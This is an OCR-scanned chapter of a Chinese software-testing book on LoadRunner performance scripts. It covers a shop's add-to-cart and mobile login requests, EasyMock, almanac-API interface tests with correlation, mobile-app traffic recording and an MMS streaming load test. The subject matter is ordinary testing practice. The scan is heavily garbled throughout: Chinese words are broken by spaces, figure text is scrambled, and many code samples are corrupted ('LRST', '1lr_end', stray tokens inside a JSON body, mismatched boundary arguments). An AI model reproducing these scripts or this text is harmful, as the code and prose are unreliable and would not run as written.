们 又 会 遇 到 一 个 问题 : 假如 测试 的 系统 A 与 BB 有 交互 ,而 B 又 不 在 我 们 的 
控制 范围 内 ,导致 测试 没 法 进行 ,比如 这 里 的 第 三 方 支付 系统 。 碰 到 这 样 的 
情况 怎么 办 呢 ? 一 般 的 解决 方法 是 利用 Mock 技术 ,通俗 点 解释 就 是 构建 一 
个 虚拟 的 Service 来 自动 返回 所 需要 的 响应 。Mock 技术 我 们 会 在 后 续 章 节 
中 讲解 ,此 处 暂时 不 做 讲解 。 

像 登 录 之 类 的 脚本 我 们 也 可 以 理解 为 单 业务 脚本 ,就 是 没有 混合 其 他 
业务 ,而 下 单 支 付 脚本 则 是 混合 业务 脚本 ,需要 涉及 其 他 的 业务 。 此 脚本 通 
过 录制 后 稍 作 调 试 就 可 以 正常 运行 ,这 里 有 一 个 大 家 经 常 遇 到 的 问题 ,我 们 
单独 拿 出 来 在 这 里 讲解 。 

在 本 业务 中 有 一 步 是 加 入 购物 车 的 操作 ,脚本 代码 如 下 。 


lr_start_transaction(" 加 入 购物 车 "); 
web_custom request("flow. php", 
"URL = http://127.0.0.1/xiaoqiangshop/flow. php?step = add to cart", 
"Method = POST", 
"TargetFrame= ", 
"Resource= 0", 
"RecContentType = text/html"， 
"Referer = http://127.0.0.1/xiaoqiangshop/goods.php?id = {goods_ id}", 
"Snapshot = tl4. inf", 
"Mode = HTML", 
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"Body = goods = {\"quick\":1,\"spec\":[],\"goods id\":{goods id},\"number 
NAN NEaseatN 0" 

LRST) ; 
1lr_end _ transaction(" 加 入 购物 车 ",LR_RAUTO) ; 


细心 的 朋友 应 该 观察 到 在 web_custom_request 的 请 求 中 ,有 一 个 Body 
的 参数 值 是 一 段 奇 怪 的 代码 , 它 实际 是 一 段 JSON 串 , 其 作用 是 传递 在 购物 
车 里 的 信息 ,比如 数量 ,商品 ID 等 。 

一 般 我 们 接触 最 多 的 是 web_url、web_submit_data 图 数 , 而 对 web_ 
custom_request 和 web_submit_form 函数 可 能 不 太 熟 悉 , 所 以 有 必要 先 了 
解 这 几 个 函数 的 特点 ,具体 如 下 。 

。 web_url: 此 函数 用 来 模拟 用 户 请 求 , 比 如 ,打开 一 个 页 面 。 

。 web_submit_data: 无 须 前 面 的 页 面 支持 ,直接 发 送 给 对 应 页 面相 关 

数据 即 可 ,同时 隐藏 域 中 的 数据 也 会 被 记录 下 来 , 同 ITEMDATA 中 
的 参数 数据 一 起 提交 给 服务 器 。 推 荐 设置 为 此 选项 ,因为 隐藏 域 中 
的 数据 往往 是 我 们 比较 关心 的 。 


小 强 课 和 车 


隐藏 域 是 用 来 发 送信 息 的 不 可 见 元 素 , 对 于 访问 网 页 的 用 户 来 说 ， 
隐藏 域 是 看 不 见 的 。 如 果 想 要 获取 上 一 页 的 某 些 信息 ,但 在 上 一 页 又 不 
能 显示 这 些 信息 时 就 可 以 使 用 隐藏 域 。 当 表单 被 提交 时 ,隐藏 域 就 会 将 
信息 用 设置 时 定义 的 名 称 和 值 发 送 到 服务 器 上 。 隐 藏 域 的 格式 类 似 : 
< input type 二 "hidden"” name 二 "username"” value 二 "小 强 ">, 其 中 type 一 


"hidden" 就 是 定义 隐藏 域 的 。 


。 web_custom_request: 当 请 求 比较 特别 时 ,LoadRunner 无 法 使 用 以 
上 函数 进行 解释 ,那么 便 会 出 现 此 函数 。 在 我 们 的 脚本 里 就 是 因为 
出 现 了 JSON 的 传递 。 
。 web_submit_form: 数据 的 提交 。 该 函数 会 自动 检测 当前 页 面 上 是 
否 存 在 form, 如 果 存 在 则 将 ITEMDATA 中 的 数据 进行 传送 ,无 法 
获取 到 隐藏 域 的 值 。 
我 们 再 来 看 这 个 JSON 串 ,大 部 分 小 白 朋友 初次 遇 到 的 时 候 都 看 不 明白 
这 个 东西 ,对 于 JSON 的 基本 知识 大 家 可 自行 查阅 相关 资料 来 了 解 , 针 对 本 
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处 的 JSON 串 ,一 般 我 们 若 要 对 商品 ID 进行 参数 化 以 达到 购买 不 同 商品 的 
目的 ,只 要 对 JSON 串 中 的 goods_id 进行 参数 化 即 可 。 其 余 脚 本 并 无 特殊 
之 处 ,所 以 不 在 这 里 罗列 。 

纵 观 LoadRunner 的 脚本 开发 ,并 没有 想象 中 那么 复杂 ,只 要 你 能 理解 
每 个 请 求 的 含义 ,明白 每 个 请 求 对 应 的 业务 ,耐心 地 调试 ,都 可 以 成 功 。 小 
白 朋友 之 所 以 在 此 处 学 得 非常 费劲 ,主要 原因 就 是 不 明白 每 个 请 求 对 应 的 
业务 是 什么 ,也 不 明白 每 个 请 求 中 的 参数 是 什么 意思 。 这 里 再 次 强调 基础 ， 
先 把 这 些 概念 都 搞 明白 了 ,再 去 研究 其 他 ,不 然 会 越 学 越 乱 ! 


2.3 使 用 LoadRunner 完成 HS 网 站 的 脚本 开发 


H5CHTML5) 技 术 现在 非常 流行 ,我 经 常 在 QQ 群 里 看 到 有 人 问 对 H5 
的 网 站 怎么 进行 测试 ,怎么 录制 脚本 。 

先 来 了 解 下 什么 是 H5。 我 们 通常 所 说 的 H5 是 HTML5 页 面 , 是 万 维 
网 的 核心 语言 .标准 通用 标记 语言 下 的 一 个 应 用 超 文 本 标记 语言 (HTML) 
的 第 五 次 重大 修改 。HTML5 的 设计 目的 是 为 了 在 移动 设备 上 支持 多 媒体 。 

H5 的 优势 至 少 有 下 面 几 点 : 

。 逐步 推动 标准 的 统一 化 ; 

。 多 设备 跨 平 台 ; 

自 适应 网 页 设计 ; 

即时 更 新 ; 

对 于 SEO 很 友好 ; 

大 量 应 用 于 移动 应 用 程序 和 游戏 ; 
提高 可 用 性 和 改进 用 户 的 友好 体验 。 

虽然 现在 H5 比较 流行 ,但 它 也 有 显著 的 缺点 。H5 本 身 也 在 发 展 中 ,所 
以 并 没有 很 好 地 兼容 所 有 的 浏览 器 ,也 缺少 一 个 成 熟 、. 完 整 的 开发 环境 。 

此 处 仍 以 上 面 的 电 商 商城 项 目 为 例 进行 讲解 。 本 电 商 商城 移动 端 基于 
HTML5 开发 ,无 须 下 载 APP, 可 在 微 信 或 浏览 器 中 通过 链接 直接 打开 , 手 
机 商城 可 支持 任意 移动 终端 。 效 果 如 图 2. 2 所 示 。 

其 实 对 于 H5 的 网 站 来 说 ,也 是 存在 一 个 URL 的 ,只 是 我 们 看 不 到 而 
已 ,所 以 只 要 你 知道 这 个 URL 就 完全 可 以 利用 LoadRunner 来 完成 录制 了 ， 
具体 的 操作 过 程 没有 特殊 之 处 。 这 里 以 访问 首页 后 进行 登录 为 例 ,最 终 脚 
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em。 CQ 请 输入 搜索 关键 词 ! 


6 目 团 < 


全 部 分 类 我 的 订单 最 新 团购 促销 活动 


QQ 品 只 | 届 


热门 搜索 品牌 街 个 人 中 心 购物 车 


爱 冕 - 白 18K 金 钻石 戒指 


价格 : ¥1 元 Ya4HF 回 
中 0 人 喜欢 
介 汪 Q 秘 多 


首页 分 类 搜索 购物 车 。 用户 中 心 


图 2.2 H5 商城 


本 代码 如 下 。 


Action() 


{ 

// 访 问 首页 

web url("mobile", 
"URL = http://127.0.0.1/xiaoqiangshop/mobile"， 
"TargetErame= "， 
"Resource= 0", 
"RecContentType = text/html", 
"Referer = ", 
"Snapshot = t15. inf", 
"Mode = HTML", 
LAST); 


// 进 入 登录 页 
web_url("index. php_ 3", "URL= http://127. 0. 0. 1/xiaoqiangshop/mobile/ 


index. php?m = default&c = user&a = login", 
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"TargetFrame = ", 

"Resource = 0", 
"RecContentType = text/html"， 
"Referer = "， 

"Snapshot = t19. inf", 

"Mode = HTML", 

LAST); 


// 提 交 登 录 信息 
web_submit data("index.php 5", 
"Action= http://127. 0.0.1/xiaogqiangshop/mobile/index. php?m = default&c 
= user&a = login", 
"Method = POST", 
"TargetFrame = ", 

" RecContentType = text/html", " Referer = http://127. 0. 0. 1/ 
xiaoqiangshop/mobile/index. php?m = default&c = user&a = logingreferer = http% 
253A% 252F % 252F127. 0. 0. 1% 252Fxiaoqiangshop% 252Fmobile% 252Findex. 
php % 253Fm % 253Ddefault % 2526c % 253Duser % 2526a % 253Dindex", 

"Snapshot = t21. inf", 

"Mode = HTML", 

ITEMDATA, 

"Name = username", "Value = xiaoqiangl", ENDITEM, 
"Name = password"，" Value = 123123", ENDITEM, 

"Name = back _act", "Value = http% 3A% 2F% 2F127. 0. 0. 1% 
2Fxiaoqiangshop % 2Fmobile% 2Findex. php% 3Fm% 3Ddefault% 26c% 3Duser% 
26a % 3Dindex", ENDITEM, 

LAST); 


return 0; 


} 
之 后 的 执行 和 普通 的 性 能 测试 相 比 并 没有 任何 区 别 。 


2.4 Mock 实战 精 要 


不 论 我 们 是 在 进行 性 能 测试 还 是 自动 化 测试 ,总 会 有 关注 的 主要 对 象 


和 非 主 要 对 象 ,而 这 里 的 类 似 第 三 方 支付 系统 就 是 非 主要 对 象 , 它 并 不 属于 
你 的 系统 范围 。 所 以 ,类 似 这 样 的 情况 我 们 可 以 屏蔽 调用 的 具体 细节 ,用 
Mock 对 象 来 蔡 代 ,避免 由 于 第 三 方 模块 引起 的 测试 错误 ,确保 调用 时 总 可 
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大 话 软 件 测试 


以 返回 一 个 确定 的 预期 结果 来 帮助 我 们 完成 测试 。 这 里 我 们 用 一 张 图 来 解 
释 ,如 图 2. 3 所 示 。 


ee 
『- -二 全 | 外 部 依 帧 系统 1 
依赖 外 部 ! 


系统 
测试 端 | ~| 被 测 系统 | Meck 


on 
@ 
< 
a 
3 


上 一- 一 二 | 外 部 依赖 系统 2 
模拟 外 部 
依赖 系统 


图 2.3 Mock 


除了 可 以 屏蔽 第 三 方 模块 的 影响 外 ,对 于 系统 内 部 的 模块 也 有 同样 的 
作用 。 比 如 ,现在 A、B 模块 都 是 系统 的 内 部 模块 ,A 模块 已 经 开发 完毕 ,而 
B 模块 还 未 开发 完毕 ,这 时 候 想 测试 下 A 模块 ,就 可 以 利用 Mock 技术 来 模 
拟 B 模 块 从 而 完成 联 调 。 

这 里 我 们 以 购物 车 中 的 计算 场景 为 例 ,一 般 总 价格 等 于 购物 车 中 各 个 
商品 的 数量 * 价格 的 总 和 ,转换 成 伪 代 码 看 起 来 就 是 这 样子 的 : total 十 二 
(store. getPrice(item. getName()) x* item. getQuantity()); ,其 中 store 对 
象 有 可 能 是 暂时 不 知道 的 ,这 时 候 我 们 就 可 以 用 Mock 来 模拟 ,完成 商品 名 
称 和 价格 的 处 理 。 部 分 实现 代码 如 下 (有 注释 )。 


public void testShoppingCart( ) 


{ 


// 设 定 Mock 对 象 的 预期 返回 
// 模 拟 实现 stroe, 通过 getPrice 设 定 的 商品 名 称 返 回 固定 的 商品 价格 
EasyMock. expect( storeMock. getPrice(" 小 强手 机 1s")).andReturn(5.99); 


//EasyMock 准备 模拟 对 象 
EasyMock. replay( storeMock); 


// 把 商品 和 数量 传 到 对 象 里 ,并 加 入 购物 车 中 
Item iteml = new Item(" 小 强手 机 1s", 1); 
cart. addItem( iteml ) ; 


// 计 算 总 价 
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double total = cart. calcTotalPrice( ) ; 
} 
Mock 的 模拟 实现 需要 测试 人 员 有 一 定 的 代码 能 力 , 并 且 可 以 阅读 英文 
文档 ,更 多 用 法 请 看 官网 : http://easymock. org。 


2.5 使 用 LoadRunner 完成 接口 级 脚本 开发 


接口 是 个 什么 概念 这 里 不 作 讲解 了 , 那 为 什么 要 进行 接口 测试 呢 ? 好 
像 很 多 朋友 都 没有 想 过 这 个 问题 ,我 遇 到 的 多 数 情况 是 在 问 接口 测试 如 何 
做 ,而 被 我 反问 做 接口 测试 意义 的 时 候 ,居然 只 有 少数 人 回答 出 来 ,我 也 是 
醉 了 。 接 口 测试 最 重要 的 一 个 意义 就 是 : 可 以 使 得 测试 提前 切入 ,在 界面 没 
有 开发 完成 之 前 就 可 以 开始 测试 ,提早 发 现 问题 。 

那么 接 下 来 我 们 只 要 知道 接口 的 相关 信息 就 可 以 开始 测试 了 ,至 少 需 
要 知道 接口 名 称 、 接 口 请 求 类 型 .数据 传递 格式 、 前 置 条 件 、 请 求 参数 .返回 
参数 ,错误 代码 解释 等 信息 ,也 就 是 我 们 俗称 的 接口 测试 文档 。 


小 强 课 堂 
按照 正常 的 规范 来 说 应 该 是 有 接口 文档 才 对 ,但 很 多 时 候 就 是 没 
有 ,你 又 能 怎么 办 ,如 果 开 发 补给 你 还 好 ,如 果 不 搭理 你 呢 ? 那 我 们 只 能 
靠 自己 了 ,利用 一 些 抓 包 工具 来 进行 请 求 的 抓 取 和 分 析 , 也 可 以 顺利 解 
决 这 些 问 题 。 


此 处 我 们 以 一 个 HTTP 接口 为 例 来 和 大 家 讲解 如 何 进行 测试 。 接 口 信 
息 如 下 。 

。 接口 地 址 : http://v.juhe. cn/laohuangli/d 

。 接口 描述 : 提供 老 黄 历 查 询 , 可 看 到 指定 日 期 的 黄历 和 每 日 吉凶 宜 
尽 等 信息 。 

。 支持 格式 : json/xml。 

。 请 求 方式 : HTTP GET/POST( 本 接口 既 支 持 GET 请 求 ,也 支持 
POST 请 求 ) 。 

。 请 求 示例 : http://v. juhe. cn/laohuangli/d? date 王 2014-09-11&key 一 


(28) 大 活 软件 测试 
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您 的 KEY。 
key ,string 类 型 , 必 填 ; 
date,string 类 型 , 必 填 ,日 期 格式 为 2014-09-09 。 
。 返回 参数 
error_code,int 类 型 ,返回 码 ; 
reasony string 类 型 ,返回 说 明 ; 
yangli,date 类 型 ,阳历 ; 
yinli,string 类 型 ,阴历 ; 
wuxing,string 类 型 ,五 行 ; 
chongsha,string 类 型 , 冲 笋 ; 
baiji,string 类 型 ,彭祖 百 鼠 ; 
jishen ,string 类 型 , 吉 神 宜 趋 ; 
yi,string 类 型 , 宜 ; 
xiongshen ,string 类 型 ,多 神 宜 忌 ; 
ji,string 类 型 , 忌 。 
。 返回 示例 : 
{ 
"reason": "successed", 
"result": { 
i Wh 
"yangli": DO 
"yinli": "甲午 ( 马 ) 年 八 月 十 八 "， 
"wuxing" : " 井 泉 水 建 执 位 ”， 
"chongsha" : " 冲 免 ( 已 卯 ) 笋 东 "， 
"baiji" :" 乙 不 栽植 千 株 不 长 西 不 宴 客 醇 坐 颠 狂 "， 
"jishen" : " 官 日 六 仪 益 后 月 德 合 除 神 玉堂 鸣 犬 "， 
"yi": "祭礼 出 行 扫 售 饼 事 勿 取 "， 
"xiongshen": "月 建 小 时 土 府 月 刑 厌 对 招摇 五 离 "， 
"ji": " 诸 事 不 宜 " 
下 


"error code": 0 


2.5.1 单 接口 的 测试 方法 


我 们 先 来 看 如 何 完成 单个 接口 的 性 能 测试 ,所 谓 单 接口 大 家 可 简单 理 
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解 为 没有 依赖 关系 、 可 单独 运行 的 接口 。 基 础 的 知识 和 操作 这 里 不 再 讲述 ， 
实现 的 大 致 步骤 如 下 。 

(1) 新 建 一 个 HTTP 协议 的 脚本 。 

(2) 写 代码 完成 GET 请 求 (不 录制 ) ,脚本 代码 如 下 。 


Action( ) 
{ 
// 传 递 了 date 和 key 两 个 参数 
web url("web url", 
"URL = http://v. juhe. cn/laohuangli/d?date = 2016- 06- 16&8key= 私人 
KEY, 就 不 写 出 来 了 "， 
"TargetFrame= ", 
"Resource= 0", 
"Referer = ", 
LAST); 
return 0; 


} 

(3) 验证 接口 以 及 脚本 的 正确 性 。 通 过 回访 查看 server 返回 的 信息 可 
以 判断 是 否 正确 。 本 接口 执行 之 后 ,在 返回 的 响应 中 可 以 看 到 有 "reason": 
"successed" 和 "error_code":0, 其 他 相关 信息 也 正常 显示 ,说 明 接口 没有 
问题 。 


小 强 课 党 


有 时 候 我 们 可 能 会 发 现 返 回 的 响应 中 有 的 中 文 是 乱码 ,这 个 是 由 于 
编码 不 一 致 导致 的 ,一 般 对 我 们 的 影响 不 大 ,不 用 理会 便 是 。 


(4) 增强 脚本 。 主 要 是 根据 实际 情况 做 一 些 参数 化 、 检 查 点 、 关 联 等 操 
作 。 增 强 后 的 脚本 代码 如 下 。 


Action( ) 
{ 
// 通 过 检查 点 来 判断 , 当然 你 也 可 以 通过 关联 来 判断 ,方法 很 多 
web reg find("Text = \"error code\":0", 
LAST); 


//GET 请 求 ,其 中 对 date 进行 了 参数 化 


web url("web url", 
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"URL = http://v. juhe. cn/laohuangli/d?date = {date}&key= 私人 KEY, 就 
不 写 出 来 了 "， 

"TargetFrame= ", 

"Resource= 0", 

"Referer = "， 

LRST) ; 


return 0; 
} 
之 后 你 就 可 以 进行 后 续 的 性 能 测试 了 。 这 里 必须 要 强调 一 点 ,我 们 是 
在 做 性 能 测试 并 不 是 功能 测试 ,目的 不 一 样 实现 的 手段 就 不 一 样 ,一 定 要 知 
道 自己 是 在 干什么 ,不然 你 做 着 做 着 自己 都 会 晕 。 


2.5.2 接口 依赖 的 测试 方法 


有 时 候 我 们 在 实际 应 用 中 也 会 碰 到 接口 之 间 的 依赖 ,也 就 是 接口 2 要 用 
到 接口 1 中 的 返回 数据 ,这 个 时 候 怎 么 解决 呢 ? 其 实 很 简单 ,在 LoadRunner 
里 用 关联 就 可 以 解决 这 个 问题 。 
下 面 我 们 仍然 以 老 黄 历 的 接口 为 例 , 大 致 思路 为 : 编写 两 个 老 黄 历 的 接 
口 请 求 , 第 一 个 老 黄历 接口 用 GET 方式 请 求 ,第 二 个 老 黄历 接口 用 POST 
方式 请 求 , 把 第 一 个 老 黄 历 接 口 请 求 的 返回 数据 中 的 yangli 字段 作为 第 二 
个 老 黄 历 接口 的 date 入 参 。 大 致 实现 步 又 如 下 。 
(1) 写 代 码 完 成 GET 请 求 ,脚本 代码 如 下 。 
Rction() 
{ 
web _ url("web url", 
"URL = http://v. juhe. cn/laohuangli/d?date = 2016 - 06 - 16&key = 私人 
KEY, 就 不 写 出 来 了 "， 
"TargetFrame = ", 
"Resource= 0", 
"Referer = "， 
LAST); 
return 0; 


} 
(2) 通过 关联 获取 响应 中 的 yangli 字段 ,脚本 代码 如 下 (有 详细 的 注释 )。 
// 利 用 关联 获取 响应 数据 中 的 yangli 字段, 并 保存 到 变量 yangli_response 中 
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// 此 处 用 到 了 关联 的 增强 版 函数 ,具体 用 法 大 家 可 自行 查阅 LoadRunner 函数 帮助 


// 手 册 


web_reg_save param ex( 


"ParamName = yangli_response", 
"LB=\"yangli\":\"", 
"EB=\"", 

SEARCH_FILTERS, 

LAST); 


//GET 请 求 ,对 date 进行 了 参数 化 
web_url("web url", 
"URL = http://v. juhe. cn/laohuangli/d?date = {date}&key = 私人 KEY, 就 不 写 


出 来 了 "， 


"TargetFrame = ", 


"Resource = 0", 


"Referer=", 
LAST); 


(3) 写 代 码 完成 POST 请 求 , 用 的 接口 还 是 这 个 ,只 是 换 了 一 个 请 求 方 
式 而 已 ,脚本 代码 如 下 。 


web_submit data("web _ submit data", 


"Action= http://v. juhe. cn/laohuangli/d", 

"Method = POST", 

"EncodeAtSign = YES", 

"TargetFrame = ", 

"Referer = ", 

ITEMDATA, 

"Name = date", "Value = 2016 - 06 - 16", ENDITEM, 

"Name = key"，"Value = 私人 KEY, 就 不 写 出 来 了 "，ENDITEM, 
LAST); 


(4) 把 第 一 个 请 求 中 关联 得 到 的 yangli_response 值 蔡 换 到 第 二 个 请 求 
中 的 人 参 date 处 ,这 样 就 完成 了 接口 之 间 数 据 的 传递 ,最 终 效果 见 如 下 脚本 


代码 。 


Action( ) 
{ 


// 利 用 关联 获取 响应 数据 中 的 yang1i 字段 ,并 保存 到 变量 Yangli_response 中 


// 此 处 上 
// 手 册 


web 


到 了 关联 的 增强 版 函数 ,具体 用 法 大 家 可 自行 查阅 LoadRunner 函数 帮助 


reg_save param ex( 
"ParamName = yangli response", 


性 能 、 自 动 化 及 团队 管理 人 5 


大 话 软件 测试 


"TB= \"yangli\"\", 
"RB=\"", 

SEARCH FILTERS, 
LAST); 


// 第 一 个 GET 请 求 ,对 date 进行 了 参数 化 
web url("web url", 
"URL = http://v. juhe.cn/laohuangli/d?date = {date}&key = 私人 KEY, 就 不 写 
出 来 了 "， 
"TargetFrame = "， 
"Resource = 0", 
"Referer = ", 
LAST); 


// 第 二 个 POST 请 求 ,并 把 vangli_response 变量 替换 到 date 处 
web_submit data("web submit data", 
"Action= http://v. juhe. cn/laohuangli/d", 
"Method = POST", 
"EncodeAtSign = YES", 
"TargetFrame = ", 
"Referer = "， 
ITEMDATA, 
"Name = date"，"Value = {yangli_response}"，ENDITEM, // 这 里 就 是 被 替换 的 
"Name = key", "Value = 私人 KEY, 就 不 写 出 来 了 "，ENDITEM, 
LAST); 


return 0; 
' 
到 这 里 就 基本 完成 了 ,后 续 可 以 根据 实际 情况 做 相应 的 优化 和 调整 。 
回 过 头 看 整个 实现 过 程 ,其 实 代 码 量 并 不 多 ,只 要 把 逻辑 整理 清楚 ,分 情况 
来 尝试 总 是 可 以 实现 的 ,也 希望 能 为 大 家 在 日 后 编写 代码 带 来 一 些 启 发 。 


2.6 使 用 LoadRunner 完成 移动 APP 的 脚本 开发 


原 计划 是 没有 这 节 内 容 的 ,因为 LoadRunner 对 APP 的 录制 功能 支持 
不 是 太 好 ,虽然 LoadRunnerl2 有 了 较 好 的 支持 ,但 操作 起 来 也 较为 麻烦 ,其 
实 对 于 APP 后 端的 性 能 测试 做 接口 级 会 更 好 一 点 。 但 是 ,被 很 多 小 白 朋友 
问 到 这 个 问题 ,就 在 这 里 统一 讲解 吧 。 
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需要 提前 做 的 准备 工作 如 下 。 

。 安装 好 LoadRunner12, 并 安装 好 补丁 ,这 样 才能 支持 针对 APP 的 
录制 。 

。 电脑 上 安装 好 Winpcap 软件 ,用 来 捕获 请 求 。 

。 电脑 上 安装 好 一 款 热点 WiFi 软件 ,经 测试 160WiFi 和 360WiFi 可 


以 正常 使 用 。 
。 手机 上 安装 好 百度 贴吧 APP, 并 提前 注册 一 个 账号 ,之 后 清空 所 有 


完成 上 述 准备 工作 之 后 ， 我 们 来 看 看 录制 登录 贴吧 APP 这 个 业务 的 大 
致 实现 步骤 。 

(1) 启动 LoadRunner, 会 发 现 协议 里 多 了 一 项 : Mobile App(HTTP/ 
HTML) ,选择 此 协议 并 新 建 脚本 。 

(2) 让 你 的 手机 成 功 连接 上 面 的 WiFi 热点 (如 何 连接 就 不 说 了 ,不 会 的 
请 自行 查询 )。 

(3) 完成 上 面 步骤 后 , 单 击 “ 录 制 ” 按 钮 ,选择 图 2.4 中 的 第 一 个 选项 , 然 
后 单 击 * 下 一 步 ? 按 钮 。 


FE [x 


Pe 


Recording type 


[OD 


LoadRunner 


位 Record and Analyre Traffic ~ Use mobile sniffer agent to capture traffic a 


© Analyze Traffic - Analyre traffic using existing capture file to generate 


信 Record Emulator - Record script using a mobile device emulator 


® Configure & Record 


® Anolyze Troffic 


so [FS] mw | Nm | 


图 2.4 Recording type 


(4) 在 Configure & Record 中 单 击 Connect 按钮 ,成 功 连接 后 出 现 如 
图 2.5 所 示 的 内 容 。 在 其 中 的 Record network 处 选择 刚才 安装 并 启动 的 热 
点 WiFi 网 卡 。 
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Nobile sniffer agent 


Note: You must launch the agent on the remote machine before 


Mobile sniffer agent 


Record network Name. ‘Device\HPF_ {FlESAD42-D92E-4D1F-AEDE-A14607 下 
Record into aa 了 Nev.. 


® Recording Mode .Recording 


® Configure & Record Start Recording 


® Anolyze Traffic 


LoadRunner 


Mobile Recording 


图 2.5 连接 成 功 
(5) 单 击 图 2.5 中 的 Start Recording 按钮 开始 抓 包 ,如 图 2.6 所 示 。 


1. Mobile sniffer agent 


ost http://1ocalhost -| port FB0 Tisconnect 


Note: You must launch the agent on the remote machine before 


2. Mobile sniffer agent 


Becord network me. \Device\HEF {961CIATA-OEAS-42AB-BDC4-D39408 
Record into Ele | 


3. Recording 


图 2.6 Recording 


(6) 在 手机 上 操作 登录 贴吧 APP 的 业务 ,操作 完成 后 单 击 Stop Recording 
按钮 ,会 提示 你 保存 一 个 后 组 为 pcap 的 文件 ,之 后 单 击 * 下 一 步 ?按钮 。 

(7) 导入 刚才 保存 的 后 级 为 pcap 的 文件 ,过 滤 手 机 连接 的 热点 WiFi 
IP, 如 图 2.7 所 示 。 最 后 单 击 “ 完 成 ”按钮 即 可 看 到 生成 的 代码 。 

上 面 的 操作 还 是 比较 烦琐 的 ,而 且 效 果 个 人 感觉 一 般 , 所 以 不 建议 大 家 
使 用 。 工 具有 时 候 确 实 是 个 好 东西 ,但 我 们 不 能 太 过 于 依赖 ,尤其 是 录制 功 
能 。 对 移动 端 APP 的 测试 ,个 人 建议 还 是 做 接口 级 的 测试 比较 好 ,编写 脚本 
的 方法 和 普通 的 接口 测试 并 无 差别 ,可 能 需要 注意 的 就 是 有 些 请 求 添 加 一 
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Specify analyze traffic settings 


Traffic 


Lapture Cc: \Users\Administrator\Desktop\currentPCAP. pcap 
六 Filter based on server side 

IP -| Port -| 
1G Filter based on client side 


工 i | 


Options Configuration 


Record into [Action =] aew | 
Options. .. | SsL Configwation .. 
my | | 
图 2.7 分 析 文 件 


些 特殊 的 请 求 涉 ,利用 web_add_header 函数 即 可 完成 ,类 似 这 样 : web_add_ 
header("PLATFORM","ios")。 


2.7 使 用 LoadRunner 完成 MMS 视频 流 媒体 测试 


貌似 很 少 有 资料 讲解 使 用 LoadRunner 完成 一 些 视频 流 媒 体 的 测试 ,这 
节 内 容 将 简单 介绍 。 其 实 ,LoadRunner 对 流 媒 体 的 协议 支持 不 是 很 好 , 默 
认 只 支持 MMS 和 Real, 此 处 以 MMS 流 媒 体 协 议 为 例 进 行 讲解 。 

先 来 了 解 流 媒体 的 定义 : 流 媒 体 是 利用 一 种 特殊 的 方式 将 视频 或 者 音 
频 等 多 媒体 文件 经 过 特殊 的 压缩 方式 打 成 一 个 个 压缩 包 , 由 Server 端 向 用 
户 端 连续 、 实 时 传送 。 也 是 因为 这 样 的 方式 ,用 户 不 需要 等 待 视频 或 者 音频 
传送 完成 才 播放 ,而 是 可 以 边 播放 边 进行 下 载 。 

目前 常见 的 流 媒 体 协议 大 致 有 RTP、RTCP、RTSP.MMS .HLS 等 。 流 
媒体 技术 中 的 三 大 流派 则 被 微软 .RealNetworks 以 及 苹果 公司 掌握 。 本 节 
介绍 的 MMS 流 媒体 协议 就 是 微软 的 。 

MMS 中 文 翻译 为 “微软 媒体 服务 器 协议 ”, 用 来 访问 并 流 式 接收 
Windows Media 服务 器 中 . asf 文件 的 一 种 协议 ,可 用 于 访问 Windows Media 
发 布点 上 的 单 播 内 容 。 

为 了 方便 讲解 ,我 已 经 在 一 台电 脑 的 Windows Server 2003 中 建立 了 一 
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个 流 媒 体 Windows Media 服务 ,上 且 可 以 正常 运行 。 至 于 如 何 搭建 MMS 流 
媒体 服务 ,大 家 可 以 自行 查找 资料 ,搭建 非常 简单 ,基本 都 是 界面 操作 。 

在 MMS 流 媒体 中 是 无 法 通过 录制 获取 脚本 的 ,只 能 通过 手写 代码 来 完 
成 ,其 实 并 不 复杂 ,大 家 只 要 多 看 一 下 LoadRunner 自 带 的 帮助 文档 即 可 完 
成 。 大 致 实现 步骤 如 下 。 

(1) 新 建 一 个 Web 和 MMS 混合 协议 的 脚本 。 

(2) 在 脚本 中 编写 如 下 的 代码 (更 多 的 函数 用 法 请 查看 LoadRunner 自 
带 的 函数 手册 ) 。 


Action() 
{ 
// 忽 略 Host 检查 
mms_disable host_check(); 
lr_start transaction("play"); 
// 开 始 MMS 的 播放 连接 ,其 中 对 播放 的 视频 进行 了 参数 化 
mms_play("Welcome", "URL= mms://192.168.128.136/{wmv}", 
LRST) ; 
lr_end transaction("play", LR_AUTO); 
return 0; 


} 
(3) 运行 脚本 ,结果 如 图 2.8 所 示 。 


ne Vus er. 


Btarting action Action. 

Action. c(5): Debug message:Before IID_IWIReaderNetworkConfig 

lAction. c(5) : Debug message:Before SetEnableMulticast 

Action. c(5) : Debug nessage:After SetEnablelulticast 

lAction. c(5): Debug message: after GetEnablelMulticast, enabled = 1 

Action. c(5): NMS Replay : Play “mms://192.168.128. 136/enco oder_ad. wnv” 

Action. c(5): Notify: Transaction “Welcone” started. 

Action. c(5): Notify: Transaction “Welconme_ conn” started. 

lAction. c(5): Notify: Transaction “Welcone_corn” ended with “Pass” status (Duration: 2. 6438). 
action. c(5): Debug message:List of NMedia attributes.. 


Attribute Duration : 100070000 
Attribute Bitrate : 309998 
Attribute Seekable : true 
Attribute Stridable : true 


图 2.8 脚本 运行 结果 


(4) 完成 上 述 步 又 之 后 即 可 按照 正常 的 流程 来 创建 场景 并 运行 ,在 运行 
过 程 中 可 以 观察 流 媒体 服务 器 的 资源 ,如 图 2. 9 所 示 , 可 以 看 到 连接 数 和 带 
宽 都 在 变化 。 

(5) 最 终 运行 完成 后 生成 的 测试 报告 如 图 2. 10 所 示 。 

对 于 在 线 视频 的 测试 不 一 定 非 得 用 LoadRunner 完成 ,毕竟 这 个 不 是 它 
的 强项 ,可 以 选取 一 些 专业 的 视频 测试 工具 进行 。 因 为 自己 在 这 方面 的 经 
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@ 客 户 端 
当前 限制 设置 无 限制 
限制 百分比 : 无 限制 
峰值 ( 自 上 次 计数 器 复位 后 ) : 2 个 播放 机 
已 连接 的 单 播客 户 端 数 : 2 个 播放 机 

广 软 带 宽 
当前 限制 设置 无 限制 
限制 百分比 : 无 限制 
峰值 ( 自 上 次 计数 器 复位 后 ): 5071 Kbps 
当前 分 配 的 带宽 : 1572 Kbps 

图 2.9 流 媒 体 服务 器 资源 
Analysis Summary Period: 2016/7/3 0:57 - 2016/7/3 1:00 


Scenario Name: Scenariol 
Results in Session: Ei\Ir scripts\mms\res\res.lrr 
Duration: 2 minutes and 50 seconds. 


Statistics Summary 


nn 10 


You can define SLA data using the SLA confiquration wizard 
You can analyze transaction behavior using the Analyze Transaction mechanism 


Transaction Summary 


Transactions: Total Passed: 605 Total Failed: 0 Total Stopped: 0 Aver: nse Ti 
